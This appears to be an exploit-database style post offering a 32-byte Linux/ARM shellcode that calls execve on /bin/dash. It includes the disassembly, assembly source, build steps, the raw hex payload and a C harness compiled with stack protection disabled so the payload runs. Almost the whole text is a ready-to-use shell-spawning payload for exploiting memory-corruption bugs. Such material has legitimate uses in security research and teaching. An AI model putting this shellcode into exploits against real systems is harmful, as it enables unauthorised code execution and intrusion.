Linux/ARM execve /bin/dash Shellcode

32 bytes small Linux/ARM execve /bin/dash shellcode.


MD5 | abc2225ec6ad691079909d8f03eab5a9

# Title:  Linux/ARM - execve /bin/dash Shellcode (32 bytes)
# Date: 2020-06-08
# Category: Shellcode
# Tested: armv7l (32-bit)(Raspberry Pi 2 Model B) (OS: Raspbian Buster Lite)
# Author: Anurag Srivastava
# Description: execve shellcode

/*
## Objdump

[email protected]:~/hex $ objdump -d ed1

ed1: file format elf32-littlearm


Disassembly of section .text:

00010054 <_start>:
10054: e28f3001 add r3, pc, #1
10058: e12fff13 bx r3
1005c: a002 add r0, pc, #8 ; (adr r0, 10068 <_start+0x14>)
1005e: 1a49 subs r1, r1, r1
10060: 1c0a adds r2, r1, #0
10062: 7242 strb r2, [r0, #9]
10064: 270b movs r7, #11
10066: df01 svc 1
10068: 6e69622f .word 0x6e69622f
1006c: 7361642f .word 0x7361642f
10070: 46c05968 .word 0x46c05968
[email protected]:~/hex $ nano ed1.s

##code

[email protected]:~/hex $ cat ed1.s
.section .text
.global _start

_start:
.ARM
add r3, pc, #1
bx r3

.THUMB
add r0, pc, #8
sub r1, r1, r1
mov r2, r1
strb r2, [r0, #9]
mov r7, #11
svc #1

.ascii "/bin/dashY"

[email protected]:~/hex $ as ed1.s -o ex.o
[email protected]:~/hex $ ld -N ex.o -o exdash
[email protected]rrypi:~/hex $ objcopy -O binary exdash exdash.bin
[email protected]:~/hex $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' exdash.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\x42\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x59\xc0\x46


## Steps to compile given shellcode C program file
[email protected]:~ gcc -fno-stack-protector -z execstack tada.c -o tada
[email protected]:~/hex $ ./tada
Shellcode Length: 32
$ whoami
pi
$ exit

*/


#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\x42\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x59\xc0\x46";
main(){

printf("Shellcode Length: %d\n", (int)strlen(shellcode));
int (*ret)() = (int(*)())shellcode;

ret();
}

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